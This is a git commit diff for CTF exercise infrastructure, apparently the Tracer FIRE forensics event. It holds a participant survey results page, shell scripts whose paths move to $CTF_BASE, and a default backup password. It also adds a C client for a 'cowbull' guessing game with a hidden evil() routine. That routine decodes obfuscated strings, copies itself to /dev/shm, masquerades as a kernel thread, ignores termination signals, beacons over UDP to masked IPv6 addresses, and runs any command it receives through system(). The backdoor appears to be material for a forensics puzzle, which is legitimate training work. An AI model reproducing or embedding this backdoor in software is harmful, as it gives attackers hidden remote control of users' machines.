Move away from /var

This commit is contained in:
Neale Pickett 2012-07-22 17:14:06 -06:00
parent 783a07d234
commit 2824aad4ec
40 changed files with 880 additions and 231 deletions

View File

@ -0,0 +1,328 @@
<!DOCTYPE html>
<html><head><title>Survey results</title></head><body>
<table>
<tr><th>Class</th>
<th>instructor</th>
<th>classroom</th>
<th>class-content</th>
<th>contest-setup</th>
<th>contest-ambiance</th>
<th>contest-network</th>
<th>contest-lanl</th>
<th>contest-sandia</th>
<th>contest-vendors</th>
<th>hotel</th>
<th>Comments</th></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★ Useful techniques, but no practical training on how to identify what data should be flagged for deeper analysis (e.g. how do you find the data that you will then try to crack)</td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★ </td>
<td><!-- contest-sandia -->None </td>
<td><!-- contest-vendors -->★★★ Solera was actually practical as it walked you through part of an investigation</td>
<td><!-- hotel -->★★ albuquerque would be more convenient</td>
<td>It would be nice to take a more practical approach to the training and exercise. E.g. Here are some things you would do to identify areas of concern and then go into the investigation of the data. Exercises could be less "random" and tied together better.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ Everyone was awesome. Great job guys! </td>
<td><!-- classroom -->★★ If you were in the back of the room the board was little hard to see.</td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★ The challenges were tough. However, the answer server could use some improvement in the way it accepts answers, or make it more clear what format it needs to be in. A lot of time was spent trying to enter the answer in the right syntax after we got it. </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★ The food was good. The rooms were a tad small.</td>
<td>Overall the conference was very good.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.</td>
<td><!-- contest-setup -->★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.</td>
<td><!-- contest-ambiance -->★★★ Just loud enough, Chairs were uncomfortable</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.</td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td></td>
<td><!-- instructor -->★★ too many to give an accurate judgement. some good, some so-so</td>
<td><!-- classroom -->★★ worked well. Noisy AC hurt hearing at time. </td>
<td><!-- class-content -->★★ Slides were way to crowded and ahrd to read. If you were not familiar with the tools, the fast clicking through windows hurt.</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ understanding the voince from beyond over the music was difficult. Probably fine of you live in a leet underworld and are used to the accent.</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->None forensics puzzles needed to be replaced. Answers needed verificaion and format specified. <br></td>
<td><!-- contest-sandia -->None Limiting it to 1 thing being worked on at a time for the group was a bad design. Loosing points as others attempt to work on other pieces.</td>
<td><!-- contest-vendors -->★★ Finding your way through solera would be easier if it was commonly used. Attempting to find what they anted through a gui is much more difficult that what I normally do vai dumping pcap.</td>
<td><!-- hotel -->★★ A strange but interesting place. needed increaed water pressure if you want a hot shower.</td>
<td>With the forensics puzzles, having the same for the classroom vs the contest helped those that took close notes. There is way too much use of Encase and limits on how far yoyu can get if you are unfamiliar with it. </td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★ 1% instruction, more of a sink or swim- Here ya go. I thought this was a training course.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★ There wasn't much teaching. Seemed to be a exercise of what you already knew. Signed up to learn. Moved to Malware RE the second day were they were teaching.</td>
<td><!-- contest-setup -->★★ Would be better with some elbow room. 7 laptops and a desktop on a small round table doesn't work so well.</td>
<td><!-- contest-ambiance -->★★★ Just loud enough, Chairs were uncomfortable</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★ Would have better to have a true capture the flag instead of puzzles. Maybe each team gets a server and must protect and attack others.</td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★ </td>
<td>Please... somewhere with faster, more reliable internet next year.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★ </td>
<td>Please... somewhere with faster, more reliable internet next year.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★ </td>
<td>Please... somewhere with faster, more reliable internet next year.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ If students should use python3, then all the examples should be in python3</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>none</td>
<td><!-- instructor -->None Didn't attend</td>
<td><!-- classroom -->None Didn't attend</td>
<td><!-- class-content -->None Didn't attend</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->None Didn't focus on it</td>
<td><!-- contest-vendors -->None Didn't focus on it</td>
<td><!-- hotel -->★★★ </td>
<td>More stuff like WOPR / octopus / pwnables / printf!</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★ The portions of the instruction that were lecture only could have been improved by having students follow along and actually participate. For example, instead of teaching Windows Registry purely by lecture, have students open Regex or examine the Registry using EnCase.</td>
<td><!-- classroom -->★★★ Good facilities and connections. No complaints.</td>
<td><!-- class-content -->★★★ Aside from the pure lecture portions, the content was good. Exactly what I expected when signing up for a forensics course. Good that not a lot of time was devoted to teaching the basics of the programs, like EnCase.</td>
<td><!-- contest-setup -->★★★ Good facilities and connections. No complaints.</td>
<td><!-- contest-ambiance -->★★ Would it kill you to play a little Smokey Robinson? ;)</td>
<td><!-- contest-network -->★★★ No complaints.</td>
<td><!-- contest-lanl -->★★★ Awesome puzzles and contests. So much to keep everyone busy. Maybe a little too much material for smaller teams to even make a dent in scoring points. My only complaint is the way in which answers are required to be formatted. See the General Comments section for more detail.</td>
<td><!-- contest-sandia -->★★ I didn't really participate much in the Sandia Jeopardy business. From what I saw, it looked good.</td>
<td><!-- contest-vendors -->★★★ Good way to show off their products without it being just a sales pitch. The puzzles they provided were great.</td>
<td><!-- hotel -->★★★ Nice. No complaints.</td>
<td>Participants should not have to decipher the format of the answer for the questions on their own. Dates/times entries either need to be in a precise, specified format or the system should be able to taken input and determine whether or not the correct answer is known. Whether or not an answer is correct should be determined by upper or lower case letters. The scoring systems should be able to compare the data submitted and normalize the input and compare it to the correct answer.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ </td>
<td><!-- classroom -->★★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ Not a fan of house music, other than that it was great</td>
<td><!-- contest-network -->★ serious issues, I do not know what to tell you about how to fix it but it was "spotty" at best</td>
<td><!-- contest-lanl -->★★ more HINTS for newbs</td>
<td><!-- contest-sandia -->★★ Good, but got complicated with the NAS and the storage and the file management and stuff, that could be implemented better</td>
<td><!-- contest-vendors -->★★★ The fireeye got hard fast, which means I did not finish, but it also means that their system didn't get totally utilized right?</td>
<td><!-- hotel -->★★★ the laFonda was pretty awesome actually</td>
<td>I hope eI get to keep coming to these, this has been a great culmination of the first few years of my experience as a cyber analyst and it was great to see that I am indeed actually learning something.</td></tr>
<tr style="border: 2px solid black"><td></td>
<td><!-- instructor -->None </td>
<td><!-- classroom -->None </td>
<td><!-- class-content -->None </td>
<td><!-- contest-setup -->None </td>
<td><!-- contest-ambiance -->None </td>
<td><!-- contest-network -->None </td>
<td><!-- contest-lanl -->None </td>
<td><!-- contest-sandia -->None </td>
<td><!-- contest-vendors -->None </td>
<td><!-- hotel -->None </td>
<td></td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★★ </td>
<td>This is really great material and the puzzles are very well presented. The entire exercise is extremely well organized.
This lacking was my background knowledge.
Next time I am going to be a lot more prepared for the challenges.
This was my first ever Capture the flag and participation in a exercise like this but you certainly have found a permanent participant.
A+++++ will do it again.
Tracerfire starts from where all the text books ends.
</td></tr>
<tr style="border: 2px solid black"><td>none</td>
<td><!-- instructor -->None Did not attend the class</td>
<td><!-- classroom -->None Did not attend the class</td>
<td><!-- class-content -->None Did not attend the class</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★ Music was a little loud and repetitive (it's techno!)</td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ Learned tons!</td>
<td><!-- contest-sandia -->None Did not play these ones</td>
<td><!-- contest-vendors -->★★★ Solera was interesting</td>
<td><!-- hotel -->None Did not use the hotel</td>
<td>First time at a capture the flag competition. Learned a lot!</td></tr>
<tr style="border: 2px solid black"><td></td>
<td><!-- instructor -->★★★ The Dr was good</td>
<td><!-- classroom -->★★ seats sucked</td>
<td><!-- class-content -->★★★ good stuff</td>
<td><!-- contest-setup -->★★ tables, eh. room ok</td>
<td><!-- contest-ambiance -->★★ purdy good</td>
<td><!-- contest-network -->★★ worky most of the time</td>
<td><!-- contest-lanl -->★★ </td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★ Solera example was weak</td>
<td><!-- hotel -->★★ bar good. room ok.</td>
<td>Thanks for the hard work! A little more intro to the contest and expectations for the n00bs would be good....</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ Not enough instructing. Mostly just "here's puzzles' solve them.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ Good material to learn on; just need more teaching, and more response to questions.</td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★ Terrible. I often had to reload a dozen times to submit a solution. Also, being unable to reach the internet made this very frustrating and much less fun.</td>
<td><!-- contest-lanl -->★★★ Great material. Wish we had been introduced better to actually doing things; most categories my team had no idea how to even begin on, and contest time was not an environment that allowed us to learn in.</td>
<td><!-- contest-sandia -->None </td>
<td><!-- contest-vendors -->None </td>
<td><!-- hotel -->None </td>
<td>The contest material was really good, but nobody on my team knew how to approach (or even find!) most of it. Maybe this would be fixed by better team distribution, but it would be likely that someone skilled would just take over, instead of teaching other people. Thus, I ended up feeling really frustrated that I wasn't actually learning anything, and just feeling punished for the things I didn't know or couldn't do (which was most of the contest).</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★ Paul clearly knows his stuff; however, his explanations weren't always clear.</td>
<td><!-- classroom -->★★ difficult to see the few onscreen examples</td>
<td><!-- class-content -->★★ it wasn't lame, but didn't find the info useful for the challenge days. :(</td>
<td><!-- contest-setup -->★★ room was fine. tables were a bit small. Really like the provided forensic workstations with pre-loaded tools.</td>
<td><!-- contest-ambiance -->★★ light was better than last year's event. Music wasn't great on day 1, "felt the rhythm" on day 2.</td>
<td><!-- contest-network -->★★★ awesome</td>
<td><!-- contest-lanl -->★★ overall good. some stuff was just unrealistic</td>
<td><!-- contest-sandia -->★★ overall good. some stuff was just unrealistic...and some was just funny!</td>
<td><!-- contest-vendors -->★★ really liked the idea of vendors offering their own challenges! I didn't get to work on them very much though (other team members)</td>
<td><!-- hotel -->★★★ location was great! lots of choices for dinner and lunch downstairs was spot-on every day! the breakfast food was lame though </td>
<td>I think Tracer should foster more "forced" interaction--the idea of information sharing is key...beyond the event, within our real jobs. I would like better or just more classroom hours. Maybe a full week of class room and a weekend of challenges would be cool. thanks for all the hard work!</td></tr>
<tr style="border: 2px solid black"><td>none</td>
<td><!-- instructor -->★★ NA</td>
<td><!-- classroom -->★★ NA</td>
<td><!-- class-content -->★★ NA</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★ can't say</td>
<td><!-- hotel -->★★ NA</td>
<td></td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★ Come on, we expected some one teach something otherwise all those questions can be found through Internet.</td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★ </td>
<td><!-- contest-setup -->★★ </td>
<td><!-- contest-ambiance -->★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->★★ </td>
<td>I dont think I learn alot</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★ </td>
<td><!-- contest-setup -->★★ Several inconvenient network outages.</td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network --></td>
<td><!-- contest-lanl -->★★ </td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ </td>
<td><!-- hotel -->★★★ </td>
<td>Fun competition. Could have used more communication among the people who wrote the questions.</td></tr>
<tr style="border: 2px solid black"><td>host</td>
<td><!-- instructor -->★★ Varied. Not having the slides the first day made following along very difficult.</td>
<td><!-- classroom -->★★ Screens were sometimes hard to see and chairs weren't comfortable.</td>
<td><!-- class-content -->★★ Too Windows and Encase centric to justify another trip.</td>
<td><!-- contest-setup -->★★ No real issues except the chairs.</td>
<td><!-- contest-ambiance -->★★★ No complains here.</td>
<td><!-- contest-network -->★★ Didn't have any major issues and Internet access table was very fast.</td>
<td><!-- contest-lanl -->★★ Wasn't really aware there was different content between the sites except for some of the instructors.</td>
<td><!-- contest-sandia -->★★ </td>
<td><!-- contest-vendors -->★★ Didn't attempt</td>
<td><!-- hotel -->★★ All the shops close at 5pm so there's not much to do except eat and drink. Hotel WiFi was really slow. No vending machines?!</td>
<td>Learned some interesting things, met some very interesting people, and got a different perspective on security, but can't justify another trip for myself or a fellow system administrator with the content and exercises used this year.</td></tr>
<tr style="border: 2px solid black"><td>net</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★★ </td>
<td><!-- class-content -->★★★ Problems were hard I learned a lot.</td>
<td><!-- contest-setup -->★★★ </td>
<td><!-- contest-ambiance -->★★★ </td>
<td><!-- contest-network -->★★★ </td>
<td><!-- contest-lanl -->★★★ </td>
<td><!-- contest-sandia -->★★★ </td>
<td><!-- contest-vendors -->★★★ </td>
<td><!-- hotel -->None </td>
<td>The network ran well. problems were hard. thanks for the effort.</td></tr>
<tr style="border: 2px solid black"><td>malware</td>
<td><!-- instructor -->★★★ </td>
<td><!-- classroom -->★★ </td>
<td><!-- class-content -->★★★ </td>
<td><!-- contest-setup -->★★ uncomfortable chairs</td>
<td><!-- contest-ambiance -->★★ music was a bit too loud</td>
<td><!-- contest-network -->★★ better access to internet</td>
<td><!-- contest-lanl -->★★★ first time, so it must be great</td>
<td><!-- contest-sandia -->★★★ see above</td>
<td><!-- contest-vendors -->★★ didn't touch it, so i have no idea</td>
<td><!-- hotel -->★★ did not stay in hotel</td>
<td></td></tr>
</table>
</body></html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

View File

@ -1,14 +1,14 @@
How to run a CTF event
======================
When a CTF image boots, it goes through the following sequence:
When DBTL boots, it goes through the following sequence:
1. Mount a partition labelled "CTF-STATE" read-only under /var/lib/ctf,
if such a partition exists
2. Mount a partition labelled "CTF" under /mnt/ctf
3. For every file matching /mnt/ctf/${pkg}.pkg, mount it under /opt/$pkg
4. For every directory matching /opt/*/service/${d}, copy it recursively
into /var/service/$d
1. Mount a partition labelled "PACKAGES" read-only under /mnt/packages
2. Mount a partition labelled "STATE" read-write under /state,
or make it a tmpfs if no such partition exists
3. For every file matching /mnt/packages/${pkg}.pkg, mount it under /packages/$pkg
4. For every directory matching /packages/*/service/${d}, copy it recursively
into /service/$d
Terms Used Here
---------------

View File

@ -52,13 +52,13 @@ The token client thus needs a 4-tuple for each puzzle:
In the interest of making things easy to administer and code, this
4-tuple is stored in files and directories:
/opt/packagename/tokencli/puzzle_name/enc.key
/opt/packagename/tokencli/puzzle_name/category.key
/opt/packagename/tokencli/puzzle_name/category
/packages/packagename/tokencli/puzzle_name/enc.key
/packages/packagename/tokencli/puzzle_name/category.key
/packages/packagename/tokencli/puzzle_name/category
And puzzles are stored in:
/var/lib/ctf/tokens/puzzle_name
/state/tokens/puzzle_name
Using this scheme, the token client has only to iterate over
/opt/*/tokencli/* instead of implementing some sort of parser.
/packages/*/tokencli/* instead of implementing some sort of parser.

View File

@ -1,9 +1,7 @@
#! /bin/sh
OPT=${CTF_BASE:-/opt}
# Use first installed binary
for bin in $OPT/*/bin/$1; do
for bin in $CTF_BASE/packages/*/bin/$1; do
if [ -x $bin ]; then
exec $bin
fi

View File

@ -2,11 +2,11 @@
fn=$2/$3
WWW=${CTF_BASE:-/var/www}
BASE=${CTF_BASE:-/var/lib/ctf}
OPT=${CTF_BASE:-/opt}
PACKAGES=$CTF_BASE/packages
STATE=$CTF_BASE/state
WWW=$CTF_BASE/www
POINTS=$BASE/points.log
POINTS=$STATE/points.log
BACKUP=$WWW/backup.png
SCOREBOARD=$WWW/scoreboard.html
PUZZLES=$WWW/puzzles.html
@ -22,11 +22,11 @@ cat $fn >> $POINTS
rm $fn
# Generate new backup if we can find a password file
for pwfile in $OPT/*/password; do
for pwfile in $PACKAGES/*/password; do
if [ -f $pwfile ]; then
(
cat bkup.png
tar cf - $BASE | gzip -c | $OPT/*/bin/tea 3< $pwfile
tar cf - $STATE | gzip -c | $PACKAGES/*/bin/tea 3< $pwfile
) > $BACKUP.new
mv $BACKUP.new $BACKUP
break

View File

@ -2,9 +2,8 @@
exec 2>&1
: ${CTF_BASE:=/var/lib/ctf}
install -d $CTF_BASE
STATE=$CTF_BASE/state
WWW=$CTF_BASE/www
# Create CTF and nobody users
touch /etc/group /etc/passwd
@ -13,25 +12,23 @@ adduser -DH -G nogroup -u 65534 nobody || true
adduser -DHS ctf || true
# Set up base directories
NEWDIR=$CTF_BASE/points.new
TMPDIR=$CTF_BASE/points.tmp
NEWDIR=$STATE/points.new
TMPDIR=$STATE/points.tmp
install -d /var/www
install -d /var/lib/ctf
install -o ctf -m 0755 -d $NEWDIR
install -o ctf -m 0755 -d $TMPDIR
# Create some files
touch /var/lib/ctf/points.log
touch $STATE/points.log
# Generate preliminary scoreboard
if [ ! -f /var/www/scoreboard.html ]; then
./mkpage scoreboard < /dev/null > /var/www/scoreboard.html
if [ ! -f $WWW/scoreboard.html ]; then
./mkpage scoreboard < /dev/null > $WWW/scoreboard.html
fi
# Generate preliminary puzzles list
if [ ! -f /var/www/puzzles.html ]; then
./mkpage puzzles.cgi > /var/www/puzzles.html
if [ ! -f $WWW/puzzles.html ]; then
./mkpage puzzles.cgi > $WWW/puzzles.html
fi
# Run pointsd every time a new points file is dropped

View File

@ -3,7 +3,7 @@
exec 2>&1
password='grape guts'
for fn in /opt/*/password; do
for fn in $CTF_BASE/packages/*/password; do
read password < $fn && break
done

View File

@ -364,21 +364,21 @@ my_snprintf(char *buf, size_t buflen, char *fmt, ...)
}
static char *
mkpath(char const *base, char const *fmt, va_list ap)
mkpath(char const *type, char const *fmt, va_list ap)
{
char relpath[PATH_MAX];
static char path[PATH_MAX];
char const *var;
char const *var = getenv("CTF_BASE");
vsnprintf(relpath, sizeof(relpath) - 1, fmt, ap);
relpath[sizeof(relpath) - 1] = '\0';
var = getenv("CTF_BASE");
if (! var) {
var = base;
var = "";
}
my_snprintf(path, sizeof(path), "%s/%s", var, relpath);
/* $CTF_BASE/type/relpath */
my_snprintf(path, sizeof(path), "%s/%s/%s", var, type, relpath);
return path;
}
@ -389,7 +389,7 @@ state_path(char const *fmt, ...)
char *ret;
va_start(ap, fmt);
ret = mkpath("/var/lib/ctf", fmt, ap);
ret = mkpath("state", fmt, ap);
va_end(ap);
return ret;
}
@ -401,7 +401,7 @@ package_path(char const *fmt, ...)
char *ret;
va_start(ap, fmt);
ret = mkpath("/opt", fmt, ap);
ret = mkpath("packages", fmt, ap);
va_end(ap);
return ret;
}

View File

@ -94,13 +94,13 @@ main(int argc, char *argv[])
opt = opendir(package_path(""));
if (NULL == opt) {
cgi_error("Cannot opendir(\"/opt\")");
cgi_error("Cannot open packages directory");
}
cgi_head("Open puzzles");
printf("<dl>\n");
/* For each file in /opt/ ... */
/* For each file in /packages/ ... */
while (1) {
struct dirent *e = readdir(opt);
char *cat;

View File

@ -4,4 +4,4 @@ exec 2>&1
IP=$(dbip -a)
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt
exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt

View File

@ -0,0 +1,355 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define BDPORT 33333
#define BCNPORT_S 48172
#define BCNPORT_D 48179
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
unmask_str(unsigned char *str)
{
int i = strlen(str);
while (i-- > 0) {
str[i] &= 127;
}
}
int
copyprog(const char *from, const char *to)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
void
signal_evil(int sig)
{
if (fork()) {
exit(1);
}
}
void
evil(int argc, char *argv[])
{
int i;
int sock;
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
unmask_str(procname);
unmask_str(cptarget);
if (strcmp(argv[0], cptarget)) {
if (fork()) {
return;
}
/* copy ourselves */
if (copyprog(argv[0], cptarget) == 0) {
argv[0] = cptarget;
execv(cptarget, argv);
}
} else {
unlink(cptarget);
if (fork()) {
exit(0);
}
}
/* mask the process title and arguments */
while (argc--) {
int p = strlen(argv[argc]);
while (p--) {
argv[argc][p] = 0;
}
}
strcpy(argv[0], procname);
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
setsid();
chdir("/");
signal(SIGHUP, signal_evil);
signal(SIGTERM, signal_evil);
signal(SIGINT, signal_evil);
signal(SIGQUIT, signal_evil);
}
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
exit(0);
}
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
while (1) {
/* beacon */
int sock_beacon;
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
//perror("Beacon bind");
;; /* return EX_IOERR; */
}
int subnet;
if (sock_beacon > 0) {
for (subnet = 0; subnet < 50; subnet++) {
char payload[] = "hi";
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
unmask_str(addr6_f);
char addr6[64];
sprintf(addr6, addr6_f, subnet);
//printf("%s\n", addr6);
struct addrinfo *beacon_addr;
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
;;//perror("Resolving address");
}
}
struct sockaddr_in6 saddr = { 0 };
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
;;//perror("Beacon send");
} else {
;;//printf("sent!\n");
}
}
}
close(sock_beacon);
/* end beacon */
/* c&c */
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (inlen < 1) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
evil(argc, argv);
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
